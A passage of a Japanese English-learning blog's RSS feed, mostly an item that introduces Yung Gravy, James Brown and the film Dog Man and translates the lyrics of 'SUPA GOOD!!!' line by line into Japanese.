title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F09%2F28%2Fsnow-man%2F&amp;linkname=Snow%20Man%20%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89%EF%BD%9C%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E4%BC%9A%E8%A9%B1%E3%81%AE%E5%85%A5%E5%8F%A3" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F09%2F28%2Fsnow-man%2F&amp;linkname=Snow%20Man%20%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89%EF%BD%9C%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E4%BC%9A%E8%A9%B1%E3%81%AE%E5%85%A5%E5%8F%A3" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F09%2F28%2Fsnow-man%2F&amp;linkname=Snow%20Man%20%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89%EF%BD%9C%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E4%BC%9A%E8%A9%B1%E3%81%AE%E5%85%A5%E5%8F%A3" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F09%2F28%2Fsnow-man%2F&amp;linkname=Snow%20Man%20%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89%EF%BD%9C%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E4%BC%9A%E8%A9%B1%E3%81%AE%E5%85%A5%E5%8F%A3" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F09%2F28%2Fsnow-man%2F&amp;linkname=Snow%20Man%20%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89%EF%BD%9C%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E4%BC%9A%E8%A9%B1%E3%81%AE%E5%85%A5%E5%8F%A3" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2025%2F09%2F28%2Fsnow-man%2F&#038;title=Snow%20Man%20%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89%EF%BD%9C%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E4%BC%9A%E8%A9%B1%E3%81%AE%E5%85%A5%E5%8F%A3" data-a2a-url="https://ffeng.jp/2025/09/28/snow-man/" data-a2a-title="Snow Man 英語で学ぶフレーズ完全ガイド｜推し活英会話の入口"></a></p>The post <a href="https://ffeng.jp/2025/09/28/snow-man/">Snow Man 英語で学ぶフレーズ完全ガイド｜推し活英会話の入口</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/03/05/juicy/' title='Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://youtu.be/VtEsnIS3SNc?si=oHqkMdAMt9i-sV1t" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/04/20/kissinmylips/' title='Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://post.tv-asahi.co.jp/post-131170/" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/24/yunggravy_supagood/' title='ヤング・グレイヴィー『SUPA GOOD!!!』　和訳'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://www.livenation.co.jp/yung-gravy-tickets-adp1115822" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4836</post-id>	</item>
		<item>
		<title>ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</title>
		<link>https://ffeng.jp/2025/08/24/yunggravy_supagood/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Sun, 24 Aug 2025 14:58:24 +0000</pubDate>
				<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[異文化間コミュニケーション]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[bbno$]]></category>
		<category><![CDATA[Dog Man]]></category>
		<category><![CDATA[Gravy train]]></category>
		<category><![CDATA[I Got You (I Feel Good)]]></category>
		<category><![CDATA[James Brown]]></category>
		<category><![CDATA[Matthew Raymond Hauri]]></category>
		<category><![CDATA[Mr. Clean]]></category>
		<category><![CDATA[R&B]]></category>
		<category><![CDATA[Say It Loud – I'm Black and I'm Proud]]></category>
		<category><![CDATA[Share the love]]></category>
		<category><![CDATA[SNS]]></category>
		<category><![CDATA[SoundCloud]]></category>
		<category><![CDATA[SUPA GOOD]]></category>
		<category><![CDATA[Super clean]]></category>
		<category><![CDATA[super cold]]></category>
		<category><![CDATA[Super mean]]></category>
		<category><![CDATA[super nice]]></category>
		<category><![CDATA[TikTok]]></category>
		<category><![CDATA[Yung Gravy]]></category>
		<category><![CDATA[でも優しさも満タン]]></category>
		<category><![CDATA[アナフォラ]]></category>
		<category><![CDATA[コメディー ヒップホップ]]></category>
		<category><![CDATA[ゴッドファーザー・オブ・ソウル]]></category>
		<category><![CDATA[ジェームス・ブラウン]]></category>
		<category><![CDATA[ソウル]]></category>
		<category><![CDATA[ドッグマン]]></category>
		<category><![CDATA[ファンク]]></category>
		<category><![CDATA[ベビー・ノー・マネー]]></category>
		<category><![CDATA[マシュー・レイモンド・ハウリ]]></category>
		<category><![CDATA[ヤング・グレイビー]]></category>
		<category><![CDATA[仕上がりは超クリーン]]></category>
		<category><![CDATA[和訳]]></category>
		<category><![CDATA[愛を分け合う]]></category>
		<category><![CDATA[映画]]></category>
		<category><![CDATA[超イカす]]></category>
		<category><![CDATA[超クール]]></category>
		<category><![CDATA[越智志帆]]></category>
		<category><![CDATA[韻Super fly]]></category>
		<category><![CDATA[鬼ヤバ]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=4784</guid>

					<description><![CDATA[<p>今回は今年の初め頃からちょっと気になっていたヤング・グレイヴィー（Yung Gravy）の『SUPA GOOD!!!』 を勝手に訳してみました。ノリノリのラップなのに意外にも簡単な英語表現で構成された歌詞なので、ぜひ口ずさんでみてくださいね。</p>
The post <a href="https://ffeng.jp/2025/08/24/yunggravy_supagood/">ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/20/summer-english-expressions/' title='【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p>今回は今年の初め頃からちょっと気になっていた<strong>ヤング・グレイヴィー（Yung Gravy）</strong>の『<strong>SUPA GOOD!!!</strong>』 を勝手に訳してみました。ノリノリのラップなのに意外にも簡単な英語表現で構成された歌詞なので、ぜひ口ずさんでみてくださいね。</p>



<p>ソウルシンガーのレジェンド、<strong>ジェームス・ブラウン（James Brown）</strong>によるコラボ曲で、映画『<strong>ドッグマン（原題: Dog Man）</strong>』の主題歌として使用されています。オリジナルは、ジェームス・ブラウンの名曲『<strong>I Got You (I Feel Good)</strong>』のリミックス。2025年1月15日にSNSでプレビューが公開され、1月24日に正式リリースと動画が公開されました。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>



<h2 class="wp-block-heading">ヤング・グレイビー（Yung Gravy）ってどんな歌手？</h2>



<p>本名はマシュー・レイモンド・ハウリ（Matthew Raymond Hauri）。米国ミネソタ州ロチェスター出身のラッパー。ユーモアとレトロなサンプルを融合した “<strong>コメディー ヒップホップ</strong>” スタイルが特徴。代表曲『<strong>Mr. Clean』</strong>では1954年の『<strong>Mr. Sandman」</strong>を、『<strong>Gravy Train</strong>では1976年の『<strong>Right Back Where We Started From』</strong>をサンプリングするなど、古き良きソウルやファンク音楽を現代風にアレンジしています。<br>2017年に<strong> SoundCloud </strong>での活動を本格化させ、デビュー曲「<strong>Mr. Clean</strong>』がプラチナ認定を受けて注目を集めました。<strong>bbno$</strong>（こちらを参照<a href="https://ffeng.jp/2021/10/23/edamame/" target="_blank" rel="noopener" title=""><strong>Rich Brian&amp;bbno$『edamame』和訳</strong></a>）とのコラボでも知られ、複数のEPやアルバムをリリースしています。2019年の初スタジオアルバム『<strong>Sensational</strong>』、2020年の『<strong>Gasanova</strong>』、2022年の『<strong>Marvelous</strong>』など。<br>“<strong>母親層に人気が高い</strong>”という異色のポップカルチャーっぽさも持ち味。TikTokなどSNSでも話題のアーティストです。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>



<h2 class="wp-block-heading">ジェームス・ブラウン（James Brown）ってどんな歌手？</h2>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="339" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP.jpeg?resize=678%2C339&#038;ssl=1" alt="" class="wp-image-4782" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-scaled.jpeg?resize=1024%2C512&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-scaled.jpeg?resize=300%2C150&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-scaled.jpeg?resize=768%2C384&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-scaled.jpeg?resize=1536%2C768&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-scaled.jpeg?resize=2048%2C1024&amp;ssl=1 2048w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/james-brown-gettyimages-74253830-CROP-scaled.jpeg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>ソウルとファンクを切り拓いた音楽界の革命児。<strong>ゴッドファーザー・オブ・ソウル</strong>と呼ばれる人物です。ソウル、ファンク、R&amp;Bの発展に大きな影響を与えました。特に『<strong>Papa’s Got a Brand New Bag</strong>』や<strong>『I Got You (I Feel Good)</strong>』などは代表曲で、リズムを強調した独自のスタイルはファンクの基盤となりました。パワフルな歌唱、エネルギッシュなダンス、圧倒的なライブパフォーマンスで知られる。マイケル・ジャクソン、プリンスなど後世のアーティストに絶大な影響を与えました。公民権運動の時代に黒人の誇りを歌い、『<strong>Say It Loud – I&#8217;m Black and I&#8217;m Proud』</strong>はその象徴的な曲の一つです。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>



<h2 class="wp-block-heading">映画『ドッグマン（原題: Dog Man）』ってどんな映画？？</h2>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube"><div style="display: contents;" >

<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-qajbaennb_q" class="arve">
	<div class="arve-inner">
		<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
			<div class="arve-ar" style="padding-top:56.194690%"></div>
			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-qajbaennb_q" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/QaJbAennB_Q?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/QaJbAennB_Q?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe>
			
		</div>
		
	</div>
	
	
	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2025\/08\/24\/yunggravy_supagood\/#arve-youtube-qajbaennb_q","type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/QaJbAennB_Q?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script>
	
</div>
</div></figure>



<p>半人半犬のスーパーヒーロー<strong>Dog Man</strong>が、悪猫Peteyや幼いLil Peteyとの出会いを通じて、“家族”や“友情”の本当の意味を見つける、2025年公開のファミリー向けアニメ映画。家族の絆、友情、責任、和解といったテーマをユーモアと共に描いた、子どもから大人まで楽しめる温かな作品です。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>



<h2 class="wp-block-heading">SUPA GOOD!!! &#8212; Yung Gravy</h2>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube"><div style="display: contents;" >

<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-b0fjnjkahua" class="arve">
	<div class="arve-inner">
		<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
			<div class="arve-ar" style="padding-top:56.194690%"></div>
			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-b0fjnjkahua" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/b0fJnJkahUA?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/b0fJnJkahUA?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe>
			
		</div>
		
	</div>
	
	
	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2025\/08\/24\/yunggravy_supagood\/#arve-youtube-b0fjnjkahua","type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/b0fJnJkahUA?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script>
	
</div>
</div></figure>



<p><strong>WOW! I feel good!<br>Super fly, super good,<br>shoulda, coulda, knew I would<br>Super fly, super fresh,<br>Ask yo&#8217; mama, she&#8217;s impressed<br>Super fly, super cold,<br>Super mean, super nice,<br>Super clean<br>Yeah, you know it<br>So good!<br>Yeah, we&#8217;re always<br>(So good!)<br>Soooo good, baby<br>WOW! I feel good!</strong></p>



<p>WOW！気分は最高だぜ！<br>最高にイカしてるぜ<br>ごちゃごちゃ言ったって<br>すげーイカしてるぜ<br>ママだってびっくりしてる<br>すげークールで、鬼ヤバで、スイートだぜ<br>何もかもがスーパークールだせ<br>わかるだろ？<br>気分は最高だぜ！<br>いつでも最高！<br>とびきり最高なんだ、ベイビー<br>WOW！気分は最高だ！</p>



<p><strong>So locked in that the key gone, ayy<br>In my bag like I&#8217;m FritoLay<br>Crispy golden,<br>Crème brûleé, rare<br>Like a T-bone steak<br>I&#8217;m good, mhmm<br>I&#8217;m good, i&#8217;m good, uh-huh, uh-huh<br>I&#8217;m great! I&#8217;m great! I&#8217;m better than ok<br>I&#8217;m like<br>OOOOOOOOOOOOOOH!<br>Sometimes it takes twoooooooooooo!<br>Never lack it, anything we<br>Dooooooooo!<br>That&#8217;s my crew<br>I got it, you got it<br>We got it<br>Yeah, you know it</strong></p>



<p>抜け出せないほどハマりまくってる<br>俺のバッグは宝石箱だぜ<br>カリッと輝くポテトチップス<br>甘いクレームブリュレ<br>レアなTボーンステーキ、全部がスペシャルさ<br>気分最高――ちげーよ、それ以上に最高だ<br>OKで終わるようなレベルじゃない<br>OOOOOOOOOOOOOOH!<br>2人ならなんでもできる<br>俺たちはいつも一緒だ<br>俺も、お前も、みんな<br>仲間なんだから<br>わかるだろ</p>



<p><strong>So good!<br>Yeah, we&#8217;re always<br>(So good!)<br>Soooo good, baby<br>WOW! I feel good!</strong></p>



<p>気分は最高だぜ！<br>いつでも最高！<br>とびきり最高なんだ、ベイビー<br>WOW！気分は最高だ！</p>



<p><strong>Shake and bake, we takin&#8217; dubs<br>Bake the cake and I rake it up<br>Make it rain, I share the love<br>Gravy train, come say what&#8217;s up<br>Stay poppin&#8217;<br>The place hoppin&#8217;<br>Yeah, we got the place hoppin&#8217;<br>It ain&#8217;t stoppin&#8217;</strong></p>



<p>とっとと勝利をつかんで分け合おう<br>焼き立てのケーキを山分けするように<br>金を降らせて、愛も分けるんだ<br>楽に稼げるから気軽に声かけてくれ<br>盛り上げてやるから<br>もう止められないぜ</p>



<p><strong>We be like<br>OOOOOOOOOOOOOOH!<br>Sometimes it takes twoooooooooooo!<br>Never lack it, anything we<br>Dooooooooo!<br>That&#8217;s my crew<br>I got it, you got it<br>We got it<br>Yeah, you know it</strong></p>



<p>OOOOOOOOOOOOOOH!<br>2人ならなんでもできる<br>俺たちはいつも一緒だ<br>俺も、お前も、みんな<br>仲間なんだから<br>わかるだろ</p>



<p><strong>So good!<br>Yeah, we&#8217;re always<br>(So good!)<br>Soooo good, baby<br>WOW! I feel good!</strong></p>



<p>気分は最高だぜ！<br>いつでも最高！<br>とびきり最高なんだ、ベイビー<br>WOW！気分は最高だ！</p>



<p><strong>Y&#8217;all ever heard a producer freestyle?</strong></p>



<p>おい、プロデューサーの即興を聴いたことあるか？</p>



